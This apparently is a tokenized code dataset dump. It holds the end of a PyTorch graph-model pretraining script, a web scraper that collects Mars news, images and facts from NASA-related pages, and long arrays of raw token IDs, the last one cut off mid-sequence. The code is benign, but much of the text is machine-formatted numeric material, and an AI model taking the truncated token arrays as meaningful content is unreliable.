optimizer_encoder.state_dict(), 'optimizer_classifier_state_dict': optimizer_classifier.state_dict(), # 'loss': loss, }, save_path) print("model saved at " + save_path) best_epoch = epoch else: tolerate += 1 if tolerate > args.lazy: print("Pretraining finished at epoch: " + str(epoch)) print("Best pretrain epoch: " + str(best_epoch)) break # testing pre_test_acc = [] pre_test_f1 = [] acc_test, f1_test = pretest_epoch(pretest_idx) pre_test_acc.append(acc_test) pre_test_f1.append(f1_test) print("Pre-Test_Accuracy: {}, Pre-Test_F1: {}".format(np.array(pre_test_acc).mean(axis=0), np.array(pre_test_f1).mean(axis=0))) print("Total time elapsed: {:.4f}s".format(time.time() - t_total))
[ 1, 529, 9507, 29958, 25629, 284, 29914, 1457, 14968, 29889, 2272, 13, 3166, 4770, 29888, 9130, 1649, 1053, 8542, 13, 3166, 4770, 29888, 9130, 1649, 1053, 1596, 29918, 2220, 13, 13, 5215, 931, 13, 5215, 1852, 5510, 13, 5215, 12655, 408, 7442, 13, 5215, 2897, 13, 13, 5215, 4842, 305, 13, 5215, 4842, 305, 29889, 20640, 408, 5994, 13, 13, 3166, 848, 29918, 5451, 1053, 334, 13, 3166, 4733, 1053, 334, 13, 13, 29937, 26101, 6055, 13, 16680, 353, 1852, 5510, 29889, 15730, 11726, 580, 13, 16680, 29889, 1202, 29918, 23516, 877, 489, 1509, 29918, 29883, 6191, 742, 3158, 2433, 8899, 29918, 3009, 742, 1371, 2433, 20701, 315, 29965, 7698, 6694, 29889, 1495, 13, 16680, 29889, 1202, 29918, 23516, 877, 489, 26776, 742, 1134, 29922, 524, 29892, 2322, 29922, 29896, 29906, 29941, 29946, 29892, 1371, 2433, 17875, 16717, 29889, 1495, 13, 16680, 29889, 1202, 29918, 23516, 877, 489, 1022, 2878, 29879, 742, 1134, 29922, 524, 29892, 2322, 29922, 29906, 29900, 29900, 29900, 29892, 13, 462, 1678, 1371, 2433, 4557, 310, 21502, 12168, 304, 7945, 29889, 1495, 13, 16680, 29889, 1202, 29918, 23516, 877, 489, 29212, 742, 1134, 29922, 7411, 29892, 2322, 29922, 29900, 29889, 29900, 29900, 29945, 29892, 13, 462, 1678, 1371, 2433, 15514, 6509, 6554, 29889, 1495, 13, 16680, 29889, 1202, 29918, 23516, 877, 489, 7915, 29918, 7099, 388, 742, 1134, 29922, 7411, 29892, 2322, 29922, 29945, 29872, 29899, 29946, 29892, 13, 462, 1678, 1371, 2433, 22676, 20228, 313, 29931, 29906, 6410, 373, 4128, 467, 1495, 13, 16680, 29889, 1202, 29918, 23516, 877, 489, 10892, 742, 1134, 29922, 524, 29892, 2322, 29922, 29896, 29953, 29892, 13, 462, 1678, 1371, 2433, 4557, 310, 7934, 10340, 29889, 1495, 13, 16680, 29889, 1202, 29918, 23516, 877, 489, 8865, 449, 742, 1134, 29922, 7411, 29892, 2322, 29922, 29900, 29889, 29945, 29892, 13, 462, 1678, 1371, 2433, 15063, 449, 6554, 313, 29896, 448, 3013, 6976, 467, 1495, 13, 16680, 29889, 1202, 29918, 23516, 877, 489, 24713, 742, 2322, 2433, 29909, 655, 6626, 29918, 695, 6046, 742, 1371, 2433, 16390, 24541, 29901, 29909, 655, 6626, 29918, 695, 6046, 29914, 1127, 27423, 29914, 29881, 2204, 29886, 1495, 13, 16680, 29889, 1202, 29918, 23516, 877, 489, 433, 1537, 742, 1134, 29922, 524, 29892, 2322, 29922, 29896, 29900, 29892, 13, 462, 1678, 1371, 2433, 29931, 24683, 21502, 305, 304, 29504, 758, 29899, 26495, 1495, 13, 16680, 29889, 1202, 29918, 23516, 877, 489, 1457, 14968, 29918, 4299, 742, 3734, 29922, 8824, 29892, 1371, 2433, 1252, 15423, 1904, 2224, 29889, 1495, 13, 16680, 29889, 1202, 29918, 23516, 877, 489, 957, 3539, 29918, 1457, 14968, 742, 3158, 2433, 8899, 29918, 3009, 742, 1371, 2433, 12498, 5923, 758, 29899, 14968, 1904, 1495, 13, 16680, 29889, 1202, 29918, 23516, 877, 489, 4905, 29918, 2084, 742, 2322, 2433, 6904, 1457, 14968, 29918, 4299, 742, 1371, 2433, 2605, 363, 1962, 758, 29899, 3018, 1312, 1904, 29889, 1495, 13, 13, 5085, 353, 13812, 29889, 5510, 29918, 5085, 580, 13, 5085, 29889, 29883, 6191, 353, 6389, 29889, 1509, 29918, 29883, 6191, 322, 4842, 305, 29889, 29883, 6191, 29889, 275, 29918, 16515, 580, 13, 13, 2084, 29918, 7050, 353, 2897, 29889, 2084, 29889, 7122, 29898, 5085, 29889, 4905, 29918, 2084, 29892, 851, 29898, 5085, 29889, 24713, 876, 13, 361, 6389, 29889, 957, 3539, 29918, 1457, 14968, 322, 2897, 29889, 2084, 29889, 9933, 29898, 2084, 29918, 7050, 1125, 13, 1678, 9920, 353, 376, 1758, 448, 9600, 376, 718, 2224, 29918, 7050, 13, 1678, 2897, 29889, 5205, 29898, 9006, 29897, 13, 13, 361, 451, 2897, 29889, 2084, 29889, 9933, 29898, 2084, 29918, 7050, 1125, 13, 1678, 2897, 29889, 29885, 12535, 12935, 29898, 2084, 29918, 7050, 29897, 13, 13, 8172, 29889, 26776, 29898, 5085, 29889, 26776, 29897, 13, 7345, 305, 29889, 11288, 29918, 26776, 29898, 5085, 29889, 26776, 29897, 13, 361, 6389, 29889, 29883, 6191, 29901, 13, 1678, 4842, 305, 29889, 29883, 6191, 29889, 11288, 29918, 26776, 29898, 5085, 29889, 26776, 29897, 13, 13, 29937, 16012, 848, 13, 24713, 353, 6389, 29889, 24713, 13, 26859, 29892, 5680, 29892, 11073, 29892, 14496, 29892, 1178, 29918, 1609, 29918, 1990, 29892, 2967, 29918, 333, 29892, 9554, 29918, 333, 29892, 954, 29918, 18010, 29892, 954, 29918, 497, 29918, 18010, 353, 2254, 29918, 1610, 29918, 1272, 29898, 24713, 29897, 13, 13715, 295, 29918, 14968, 29918, 333, 29892, 9554, 29918, 1688, 29918, 333, 353, 6219, 29918, 13715, 295, 29918, 1272, 29898, 13715, 295, 29918, 333, 29892, 8783, 29897, 13, 1457, 14968, 29918, 333, 353, 2967, 29918, 333, 718, 9554, 29918, 14968, 29918, 333, 13, 1457, 14968, 29918, 13140, 29892, 758, 3359, 29918, 13140, 29892, 758, 1688, 29918, 13140, 29892, 2967, 29918, 14968, 29918, 1643, 29892, 2967, 29918, 3359, 29918, 1643, 29892, 2967, 29918, 1688, 29918, 1643, 2053, 13, 462, 18884, 2967, 29918, 14968, 29918, 333, 29892, 2967, 29918, 3359, 29918, 333, 29892, 2967, 29918, 1688, 29918, 333, 353, 6219, 29918, 3188, 29918, 1272, 29898, 1457, 14968, 29918, 333, 29892, 1178, 29918, 1609, 29918, 1990, 29892, 11073, 29897, 13, 1457, 14968, 29918, 26859, 353, 679, 29918, 3188, 29918, 26859, 29898, 26859, 29892, 758, 14968, 29918, 333, 29892, 11073, 29897, 13, 13, 8173, 353, 8853, 1457, 14968, 29918, 26776, 1115, 6389, 29889, 26776, 29892, 376, 26859, 1115, 12109, 29892, 376, 22100, 1115, 5680, 29892, 376, 21134, 1115, 11073, 29892, 376, 1457, 14968, 29918, 26859, 1115, 758, 14968, 29918, 26859, 29892, 13, 308, 376, 311, 7979, 267, 1115, 14496, 29892, 376, 333, 29918, 1609, 29918, 1990, 1115, 1178, 29918, 1609, 29918, 1990, 29892, 376, 3188, 29918, 333, 1115, 2967, 29918, 333, 29892, 13, 308, 376, 13715, 295, 29918, 333, 1115, 9554, 29918, 333, 29892, 376, 1949, 29918, 18010, 1115, 954, 29918, 18010, 29892, 376, 1949, 29918, 497, 29918, 18010, 1115, 954, 29918, 497, 29918, 18010, 29892, 13, 308, 376, 3188, 29918, 14968, 29918, 333, 1115, 2967, 29918, 14968, 29918, 333, 29892, 376, 3188, 29918, 3359, 29918, 333, 1115, 2967, 29918, 3359, 29918, 333, 29892, 376, 3188, 29918, 1688, 29918, 333, 1115, 2967, 29918, 1688, 29918, 333, 29892, 13, 308, 376, 13715, 295, 29918, 14968, 29918, 333, 1115, 9554, 29918, 14968, 29918, 333, 29892, 376, 13715, 295, 29918, 1688, 29918, 333, 1115, 9554, 29918, 1688, 29918, 333, 29913, 13, 13, 8173, 29918, 2084, 353, 2897, 29889, 2084, 29889, 7122, 703, 6904, 8173, 613, 313, 710, 29898, 5085, 29889, 24713, 29897, 718, 11393, 29886, 6321, 5783, 13, 361, 451, 2897, 29889, 2084, 29889, 9933, 703, 6904, 8173, 29908, 1125, 13, 1678, 2897, 29889, 29885, 12535, 12935, 703, 6904, 8173, 1159, 13, 7620, 29918, 3318, 29898, 8173, 29892, 7090, 29918, 2084, 29897, 13, 6144, 7090, 13, 13, 29937, 8125, 322, 5994, 3950, 13, 3977, 6119, 353, 402, 10262, 29918, 8566, 6119, 29898, 29876, 1725, 271, 29922, 22100, 29889, 12181, 29961, 29896, 1402, 13, 9651, 302, 29882, 333, 29922, 5085, 29889, 10892, 29892, 13, 9651, 5768, 449, 29922, 5085, 29889, 8865, 449, 29897, 13, 13, 1990, 3709, 353, 4134, 3709, 29898, 29876, 29882, 333, 29922, 5085, 29889, 10892, 29892, 302, 1990, 29922, 2435, 29898, 1457, 14968, 29918, 333, 876, 13, 13, 13, 20640, 3950, 29918, 3977, 6119, 353, 5994, 29889, 3253, 314, 29898, 3977, 6119, 29889, 16744, 3285, 13, 462, 539, 301, 29878, 29922, 5085, 29889, 29212, 29892, 7688, 29918, 7099, 388, 29922, 5085, 29889, 7915, 29918, 7099, 388, 29897, 13, 13, 20640, 3950, 29918, 1990, 3709, 353, 5994, 29889, 3253, 314, 29898, 1990, 3709, 29889, 16744, 3285, 13, 462, 539, 301, 29878, 29922, 5085, 29889, 29212, 29892, 7688, 29918, 7099, 388, 29922, 5085, 29889, 7915, 29918, 7099, 388, 29897, 13, 13, 361, 6389, 29889, 1457, 14968, 29918, 4299, 29901, 13, 1678, 1423, 3149, 353, 4842, 305, 29889, 1359, 29898, 5085, 29889, 1457, 14968, 29918, 4299, 29897, 13, 1678, 2094, 6119, 29889, 1359, 29918, 3859, 29918, 8977, 29898, 3198, 3149, 1839, 3977, 6119, 29918, 3859, 29918, 8977, 11287, 13, 1678, 770, 3709, 29889, 1359, 29918, 3859, 29918, 8977, 29898, 3198, 3149, 1839, 1990, 3709, 29918, 3859, 29918, 8977, 11287, 13, 1678, 5994, 3950, 29918, 3977, 6119, 29889, 1359, 29918, 3859, 29918, 8977, 29898, 3198, 3149, 1839, 20640, 3950, 29918, 3977, 6119, 29918, 3859, 29918, 8977, 11287, 13, 1678, 5994, 3950, 29918, 1990, 3709, 29889, 1359, 29918, 3859, 29918, 8977, 29898, 3198, 3149, 1839, 20640, 3950, 29918, 1990, 3709, 29918, 3859, 29918, 8977, 11287, 13, 1678, 21502, 305, 353, 1423, 3149, 1839, 1022, 2878, 2033, 13, 1678, 396, 6410, 353, 1423, 3149, 1839, 6758, 2033, 13, 13, 13, 361, 6389, 29889, 29883, 6191, 29901, 13, 1678, 2094, 6119, 29889, 29883, 6191, 580, 13, 1678, 770, 3709, 29889, 29883, 6191, 580, 13, 1678, 5680, 353, 5680, 29889, 29883, 6191, 580, 13, 1678, 396, 12109, 353, 12109, 29889, 29883, 6191, 580, 13, 1678, 758, 14968, 29918, 26859, 353, 758, 14968, 29918, 26859, 29889, 29883, 6191, 580, 13, 1678, 11073, 353, 11073, 29889, 29883, 6191, 580, 13, 1678, 14496, 353, 14496, 29889, 29883, 6191, 580, 13, 13, 13, 1753, 758, 14968, 29918, 1022, 2878, 29898, 1457, 14968, 29918, 13140, 1125, 13, 1678, 2094, 6119, 29889, 14968, 580, 13, 1678, 770, 3709, 29889, 14968, 580, 13, 1678, 5994, 3950, 29918, 3977, 6119, 29889, 9171, 29918, 5105, 580, 13, 1678, 8297, 29881, 886, 353, 2094, 6119, 29898, 22100, 29892, 758, 14968, 29918, 26859, 29897, 13, 1678, 1962, 353, 770, 3709, 29898, 17987, 29881, 886, 9601, 1457, 14968, 29918, 13140, 29962, 13, 1678, 1962, 353, 383, 29889, 1188, 29918, 2695, 3317, 6278, 4905, 29892, 3964, 29922, 29896, 29897, 13, 13, 1678, 11073, 29918, 1482, 353, 4842, 305, 29889, 8208, 29911, 6073, 4197, 1457, 14968, 29918, 333, 29889, 2248, 29898, 29875, 29897, 363, 474, 297, 11073, 29961, 1457, 14968, 29918, 13140, 24960, 13, 1678, 565, 6389, 29889, 29883, 6191, 29901, 13, 4706, 11073, 29918, 1482, 353, 11073, 29918, 1482, 29889, 29883, 6191, 580, 13, 1678, 6410, 29918, 14968, 353, 383, 29889, 29876, 645, 29918, 6758, 29898, 4905, 29892, 11073, 29918, 1482, 29897, 13, 1678, 6410, 29918, 14968, 29889, 1627, 1328, 580, 13, 1678, 5994, 3950, 29918, 3977, 6119, 29889, 10568, 580, 13, 1678, 5994, 3950, 29918, 1990, 3709, 29889, 10568, 580, 13, 13, 1678, 565, 6389, 29889, 29883, 6191, 29901, 13, 4706, 1962, 353, 1962, 29889, 21970, 2141, 4801, 496, 580, 13, 4706, 11073, 29918, 1482, 353, 11073, 29918, 1482, 29889, 21970, 2141, 4801, 496, 580, 13, 1678, 1035, 29918, 14968, 353, 13600, 29898, 4905, 29892, 11073, 29918, 1482, 29897, 13, 1678, 285, 29896, 29918, 14968, 353, 285, 29896, 29898, 4905, 29892, 11073, 29918, 1482, 29897, 13, 13, 1678, 736, 1035, 29918, 14968, 29892, 285, 29896, 29918, 14968, 13, 13, 13, 1753, 758, 1688, 29918, 1022, 2878, 29898, 1457, 1688, 29918, 13140, 1125, 13, 1678, 2094, 6119, 29889, 14513, 580, 13, 1678, 770, 3709, 29889, 14513, 580, 13, 1678, 8297, 29881, 886, 353, 2094, 6119, 29898, 22100, 29892, 758, 14968, 29918, 26859, 29897, 13, 1678, 1962, 353, 770, 3709, 29898, 17987, 29881, 886, 9601, 1457, 1688, 29918, 13140, 29962, 13, 1678, 1962, 353, 383, 29889, 1188, 29918, 2695, 3317, 6278, 4905, 29892, 3964, 29922, 29896, 29897, 13, 13, 1678, 11073, 29918, 1482, 353, 4842, 305, 29889, 8208, 29911, 6073, 4197, 1457, 14968, 29918, 333, 29889, 2248, 29898, 29875, 29897, 363, 474, 297, 11073, 29961, 1457, 1688, 29918, 13140, 24960, 13, 1678, 565, 6389, 29889, 29883, 6191, 29901, 13, 4706, 11073, 29918, 1482, 353, 11073, 29918, 1482, 29889, 29883, 6191, 580, 13, 1678, 6410, 29918, 1688, 353, 383, 29889, 29876, 645, 29918, 6758, 29898, 4905, 29892, 11073, 29918, 1482, 29897, 13, 13, 1678, 565, 6389, 29889, 29883, 6191, 29901, 13, 4706, 1962, 353, 1962, 29889, 21970, 2141, 4801, 496, 580, 13, 4706, 11073, 29918, 1482, 353, 11073, 29918, 1482, 29889, 21970, 2141, 4801, 496, 580, 13, 1678, 1035, 29918, 1688, 353, 13600, 29898, 4905, 29892, 11073, 29918, 1482, 29897, 13, 1678, 285, 29896, 29918, 1688, 353, 285, 29896, 29898, 4905, 29892, 11073, 29918, 1482, 29897, 13, 13, 1678, 736, 1035, 29918, 1688, 29892, 285, 29896, 29918, 1688, 13, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 13, 1678, 396, 28186, 1904, 13, 1678, 260, 29918, 7827, 353, 931, 29889, 2230, 580, 13, 1678, 758, 29918, 14968, 29918, 5753, 353, 5159, 13, 13, 1678, 1900, 29918, 3359, 29918, 5753, 353, 29871, 29900, 29889, 13, 1678, 20341, 403, 353, 29871, 29900, 13, 1678, 1900, 29918, 1022, 2878, 353, 29871, 29900, 13, 1678, 363, 21502, 305, 297, 3464, 29898, 5085, 29889, 1022, 2878, 29879, 1125, 13, 4706, 1035, 29918, 14968, 29892, 285, 29896, 29918, 14968, 353, 758, 14968, 29918, 1022, 2878, 29898, 1457, 14968, 29918, 13140, 29897, 13, 4706, 758, 29918, 14968, 29918, 5753, 29889, 4397, 29898, 5753, 29918, 14968, 29897, 13, 4706, 565, 21502, 305, 1405, 29871, 29900, 322, 21502, 305, 1273, 29871, 29896, 29900, 1275, 29871, 29900, 29901, 13, 9651, 1596, 703, 26589, 29923, 1129, 12168, 6571, 26589, 1642, 4830, 29898, 1022, 2878, 876, 13, 9651, 1596, 703, 6572, 29899, 5323, 262, 29918, 7504, 332, 4135, 29901, 6571, 1642, 4830, 29898, 9302, 29889, 2378, 29898, 1457, 29918, 14968, 29918, 5753, 467, 12676, 29898, 8990, 29922, 29900, 4961, 13, 13, 9651, 396, 8845, 13, 9651, 758, 29918, 3359, 29918, 5753, 353, 5159, 13, 9651, 758, 29918, 3359, 29918, 29888, 29896, 353, 5159, 13, 13, 9651, 1035, 29918, 1688, 29892, 285, 29896, 29918, 1688, 353, 758, 1688, 29918, 1022, 2878, 29898, 1457, 3359, 29918, 13140, 29897, 13, 9651, 758, 29918, 3359, 29918, 5753, 29889, 4397, 29898, 5753, 29918, 1688, 29897, 13, 9651, 758, 29918, 3359, 29918, 29888, 29896, 29889, 4397, 29898, 29888, 29896, 29918, 1688, 29897, 13, 9651, 16256, 29918, 3359, 29918, 5753, 353, 7442, 29889, 2378, 29898, 1457, 29918, 3359, 29918, 5753, 467, 12676, 29898, 8990, 29922, 29900, 29897, 13, 9651, 1596, 703, 6572, 29899, 3084, 29918, 7504, 332, 4135, 29901, 24335, 4721, 29899, 3084, 29918, 29943, 29896, 29901, 6571, 1642, 4830, 29898, 21962, 29918, 3359, 29918, 5753, 29892, 13, 462, 462, 462, 462, 4706, 7442, 29889, 2378, 29898, 1457, 29918, 3359, 29918, 29888, 29896, 467, 12676, 29898, 8990, 29922, 29900, 4961, 13, 9651, 565, 16256, 29918, 3359, 29918, 5753, 1405, 1900, 29918, 3359, 29918, 5753, 29901, 13, 18884, 1900, 29918, 3359, 29918, 5753, 353, 16256, 29918, 3359, 29918, 5753, 13, 18884, 4078, 29918, 2084, 353, 2897, 29889, 2084, 29889, 7122, 29898, 5085, 29889, 4905, 29918, 2084, 29892, 8783, 29892, 851, 29898, 5085, 29889, 26776, 29897, 718, 11119, 29908, 718, 313, 710, 29898, 1022, 2878, 29897, 718, 11393, 29886, 386, 5783, 13, 18884, 20341, 403, 353, 29871, 29900, 13, 18884, 4842, 305, 29889, 7620, 3319, 13, 462, 1678, 525, 1022, 2878, 2396, 21502, 305, 29892, 13, 462, 1678, 525, 3977, 6119, 29918, 3859, 29918, 8977, 2396, 2094, 6119, 29889, 3859, 29918, 8977, 3285, 13, 462, 1678, 525, 1990, 3709, 29918, 3859, 29918, 8977, 2396, 770, 3709, 29889, 3859, 29918, 8977, 3285, 13, 462, 1678, 525, 20640, 3950, 29918, 3977, 6119, 29918, 3859, 29918, 8977, 2396, 5994, 3950, 29918, 3977, 6119, 29889, 3859, 29918, 8977, 3285, 13, 462, 1678, 525, 20640, 3950, 29918, 1990, 3709, 29918, 3859, 29918, 8977, 2396, 5994, 3950, 29918, 1990, 3709, 29889, 3859, 29918, 8977, 3285, 13, 462, 1678, 396, 525, 6758, 2396, 6410, 29892, 13, 18884, 2981, 4078, 29918, 2084, 29897, 13, 18884, 1596, 703, 4299, 7160, 472, 376, 718, 4078, 29918, 2084, 29897, 13, 18884, 1900, 29918, 1022, 2878, 353, 21502, 305, 13, 9651, 1683, 29901, 13, 18884, 20341, 403, 4619, 29871, 29896, 13, 18884, 565, 20341, 403, 1405, 6389, 29889, 433, 1537, 29901, 13, 462, 1678, 1596, 703, 29925, 2267, 336, 2827, 7743, 472, 21502, 305, 29901, 376, 718, 851, 29898, 1022, 2878, 876, 13, 462, 1678, 1596, 703, 25353, 758, 14968, 21502, 305, 29901, 376, 718, 851, 29898, 13318, 29918, 1022, 2878, 876, 13, 462, 1678, 2867, 13, 9651, 396, 6724, 13, 9651, 758, 29918, 1688, 29918, 5753, 353, 5159, 13, 9651, 758, 29918, 1688, 29918, 29888, 29896, 353, 5159, 13, 9651, 1035, 29918, 1688, 29892, 285, 29896, 29918, 1688, 353, 758, 1688, 29918, 1022, 2878, 29898, 1457, 1688, 29918, 13140, 29897, 13, 9651, 758, 29918, 1688, 29918, 5753, 29889, 4397, 29898, 5753, 29918, 1688, 29897, 13, 9651, 758, 29918, 1688, 29918, 29888, 29896, 29889, 4397, 29898, 29888, 29896, 29918, 1688, 29897, 13, 9651, 1596, 703, 6572, 29899, 3057, 29918, 7504, 332, 4135, 29901, 24335, 4721, 29899, 3057, 29918, 29943, 29896, 29901, 6571, 1642, 4830, 29898, 9302, 29889, 2378, 29898, 1457, 29918, 1688, 29918, 5753, 467, 12676, 29898, 8990, 29922, 29900, 511, 13, 462, 462, 462, 462, 4706, 7442, 29889, 2378, 29898, 1457, 29918, 1688, 29918, 29888, 29896, 467, 12676, 29898, 8990, 29922, 29900, 4961, 13, 13, 1678, 1596, 703, 11536, 931, 560, 28170, 29901, 12365, 29889, 29946, 29888, 29913, 29879, 1642, 4830, 29898, 2230, 29889, 2230, 580, 448, 260, 29918, 7827, 876, 13, 2 ]
scrape_mars.py
ekohn13/web-scraping-challenge
0
109873
from splinter import Browser from bs4 import BeautifulSoup from time import sleep import pandas as pd import numpy as np from iteration_utilities import unique_everseen def init_browser(): executable_path = {"executable_path": "/usr/local/bin/chromedriver"} return Browser("chrome", **executable_path, headless=True) def mars_news(): browser = init_browser() url = 'https://mars.nasa.gov/news/' browser.visit(url) html = browser.html soup = BeautifulSoup(html, 'html.parser') first_title = soup.find('div', class_='content_title').text first_paragraph = soup.find('div', class_='article_teaser_body').text browser.quit() return first_title, first_paragraph def jpl_image(): browser = init_browser() base_url = "https://www.jpl.nasa.gov/spaceimages/?search=&category=Mars" browser.visit(base_url) html = browser.html soup = BeautifulSoup(html, "html.parser") image = soup.find("img", class_="thumb")["src"] featured_image_url = "https://www.jpl.nasa.gov" + image return featured_image_url def mars_wheater(): browser = init_browser() url = 'https://twitter.com/marswxreport?lang=en' browser.visit(url) html = browser.html soup=BeautifulSoup(html,'html.parser') tweet=soup.find('p',class_='TweetTextSize TweetTextSize--normal js-tweet-text tweet-text').text return tweet def mars_facts(): tables =pd.read_html('https://space-facts.com/mars/') df=tables[0] df.columns=['Description','Value'] df.set_index(df['Description'],inplace=True) del df['Description'] return df.to_html() def mars_hemis(): list_of_url = ['cerberus_enhanced','schiaparelli_enhanced','syrtis_major_enhanced','valles_marineris_enhanced'] url_final = [f'https://astrogeology.usgs.gov/search/map/Mars/Viking/{element}' for element in list_of_url] mars_hemisphere = [] for idx,element in enumerate(url_final): executable_path = {'executable_path': '/usr/local/bin/chromedriver'} browser = Browser('chrome', **executable_path, headless=True) browser.visit(url_final[idx]) html = browser.html soup = BeautifulSoup(html, 'html.parser') title = soup.find('h2',class_='title').text picture = soup.li.a['href'] mars_hemisphere.append({'title':title,'img_url':picture}) return mars_hemisphere def scrape(): data_dict = {} mars_news_split = mars_news() data_dict['mars_news'] = mars_news_split[0] data_dict['mars_paragraph'] = mars_news_split[1] data_dict['mars_image'] = jpl_image() data_dict["mars_weather"] = mars_wheater() data_dict["mars_facts"] = mars_facts() data_dict["mars_hemisphere"] = mars_hemis() return data_dict
[ 1, 29871, 13, 13, 13, 3166, 8536, 1639, 1053, 27088, 13, 3166, 24512, 29946, 1053, 25685, 29903, 1132, 13, 3166, 931, 1053, 8709, 13, 5215, 11701, 408, 10518, 13, 5215, 12655, 408, 7442, 13, 3166, 12541, 29918, 4422, 1907, 1053, 5412, 29918, 1310, 28026, 13, 13, 13, 13, 13, 13, 1753, 2069, 29918, 15965, 7295, 13, 1678, 16813, 29918, 2084, 353, 8853, 4258, 9246, 29918, 2084, 1115, 5591, 4855, 29914, 2997, 29914, 2109, 29914, 27433, 287, 3511, 9092, 13, 1678, 736, 27088, 703, 18114, 613, 3579, 4258, 9246, 29918, 2084, 29892, 2343, 2222, 29922, 5574, 29897, 13, 13, 13, 13, 13, 13, 1753, 7438, 29918, 15753, 7295, 13, 13, 1678, 4714, 353, 2069, 29918, 15965, 580, 13, 1678, 3142, 353, 525, 991, 597, 29885, 1503, 29889, 29876, 11290, 29889, 13513, 29914, 15753, 22208, 13, 1678, 4714, 29889, 1730, 277, 29898, 2271, 29897, 13, 1678, 3472, 353, 4714, 29889, 1420, 13, 1678, 22300, 353, 25685, 29903, 1132, 29898, 1420, 29892, 525, 1420, 29889, 16680, 1495, 13, 1678, 937, 29918, 3257, 353, 22300, 29889, 2886, 877, 4563, 742, 770, 29918, 2433, 3051, 29918, 3257, 2824, 726, 13, 1678, 937, 29918, 26956, 353, 22300, 29889, 2886, 877, 4563, 742, 770, 29918, 2433, 7914, 29918, 371, 29440, 29918, 2587, 2824, 726, 13, 1678, 4714, 29889, 28358, 580, 13, 13, 1678, 736, 937, 29918, 3257, 29892, 937, 29918, 26956, 13, 13, 13, 13, 13, 13, 1753, 432, 572, 29918, 3027, 7295, 13, 13, 1678, 4714, 353, 2069, 29918, 15965, 580, 13, 1678, 2967, 29918, 2271, 353, 376, 991, 597, 1636, 29889, 29926, 572, 29889, 29876, 11290, 29889, 13513, 29914, 3493, 8346, 13401, 4478, 29332, 7320, 29922, 29924, 1503, 29908, 13, 1678, 4714, 29889, 1730, 277, 29898, 3188, 29918, 2271, 29897, 13, 1678, 3472, 353, 4714, 29889, 1420, 13, 1678, 22300, 353, 25685, 29903, 1132, 29898, 1420, 29892, 376, 1420, 29889, 16680, 1159, 13, 1678, 1967, 353, 22300, 29889, 2886, 703, 2492, 613, 770, 29918, 543, 386, 3774, 1159, 3366, 4351, 3108, 13, 1678, 15000, 29918, 3027, 29918, 2271, 353, 376, 991, 597, 1636, 29889, 29926, 572, 29889, 29876, 11290, 29889, 13513, 29908, 718, 1967, 13, 13, 1678, 736, 15000, 29918, 3027, 29918, 2271, 13, 13, 13, 13, 13, 13, 1753, 7438, 29918, 29893, 354, 1008, 7295, 13, 13, 1678, 4714, 353, 2069, 29918, 15965, 580, 13, 1678, 3142, 353, 525, 991, 597, 24946, 29889, 510, 29914, 29885, 1503, 23310, 12276, 29973, 3893, 29922, 264, 29915, 13, 1678, 4714, 29889, 1730, 277, 29898, 2271, 29897, 13, 1678, 3472, 353, 4714, 29889, 1420, 13, 1678, 22300, 29922, 3629, 1300, 6845, 29903, 1132, 29898, 1420, 5501, 1420, 29889, 16680, 1495, 13, 1678, 7780, 300, 29922, 29879, 1132, 29889, 2886, 877, 29886, 742, 1990, 29918, 2433, 29911, 16668, 1626, 3505, 323, 16668, 1626, 3505, 489, 8945, 6965, 29899, 29873, 16668, 29899, 726, 7780, 300, 29899, 726, 2824, 726, 13, 13, 1678, 736, 7780, 300, 13, 13, 13, 13, 13, 13, 1753, 7438, 29918, 17028, 29879, 7295, 13, 13, 1678, 6131, 353, 15926, 29889, 949, 29918, 1420, 877, 991, 597, 3493, 29899, 17028, 29879, 29889, 510, 29914, 29885, 1503, 29914, 1495, 13, 1678, 4489, 29922, 24051, 29961, 29900, 29962, 13, 1678, 4489, 29889, 13099, 29922, 1839, 9868, 3788, 1917, 2033, 13, 1678, 4489, 29889, 842, 29918, 2248, 29898, 2176, 1839, 9868, 7464, 262, 6689, 29922, 5574, 29897, 13, 1678, 628, 4489, 1839, 9868, 2033, 13, 13, 1678, 736, 4489, 29889, 517, 29918, 1420, 580, 13, 13, 13, 13, 13, 13, 1753, 7438, 29918, 8008, 275, 7295, 13, 1678, 1051, 29918, 974, 29918, 2271, 353, 6024, 2265, 495, 375, 29918, 264, 29308, 3788, 816, 423, 29886, 17243, 492, 29918, 264, 29308, 3788, 29879, 29891, 2273, 275, 29918, 21355, 29918, 264, 29308, 3788, 29894, 26493, 29918, 3034, 4983, 275, 29918, 264, 29308, 2033, 13, 1678, 3142, 29918, 8394, 353, 518, 29888, 29915, 991, 597, 23364, 479, 3002, 29889, 375, 3174, 29889, 13513, 29914, 4478, 29914, 1958, 29914, 29924, 1503, 29914, 29963, 638, 292, 19248, 5029, 10162, 363, 1543, 297, 1051, 29918, 974, 29918, 2271, 29962, 13, 13, 1678, 7438, 29918, 8008, 275, 9085, 353, 5159, 13, 13, 1678, 363, 22645, 29892, 5029, 297, 26985, 29898, 2271, 29918, 8394, 1125, 13, 4706, 16813, 29918, 2084, 353, 11117, 4258, 9246, 29918, 2084, 2396, 8207, 4855, 29914, 2997, 29914, 2109, 29914, 27433, 287, 3511, 10827, 13, 4706, 4714, 353, 27088, 877, 18114, 742, 3579, 4258, 9246, 29918, 2084, 29892, 2343, 2222, 29922, 5574, 29897, 13, 4706, 4714, 29889, 1730, 277, 29898, 2271, 29918, 8394, 29961, 13140, 2314, 13, 4706, 3472, 353, 4714, 29889, 1420, 13, 4706, 22300, 353, 25685, 29903, 1132, 29898, 1420, 29892, 525, 1420, 29889, 16680, 1495, 13, 4706, 3611, 353, 22300, 29889, 2886, 877, 29882, 29906, 742, 1990, 29918, 2433, 3257, 2824, 726, 13, 4706, 7623, 353, 22300, 29889, 492, 29889, 29874, 1839, 12653, 2033, 13, 4706, 7438, 29918, 8008, 275, 9085, 29889, 4397, 3319, 29915, 3257, 2396, 3257, 5501, 2492, 29918, 2271, 2396, 12095, 1800, 13, 13, 1678, 736, 7438, 29918, 8008, 275, 9085, 13, 13, 13, 1753, 24559, 412, 7295, 13, 13, 1678, 848, 29918, 8977, 353, 6571, 13, 1678, 7438, 29918, 15753, 29918, 5451, 353, 7438, 29918, 15753, 580, 13, 1678, 848, 29918, 8977, 1839, 29885, 1503, 29918, 15753, 2033, 353, 7438, 29918, 15753, 29918, 5451, 29961, 29900, 29962, 13, 1678, 848, 29918, 8977, 1839, 29885, 1503, 29918, 26956, 2033, 353, 7438, 29918, 15753, 29918, 5451, 29961, 29896, 29962, 13, 1678, 848, 29918, 8977, 1839, 29885, 1503, 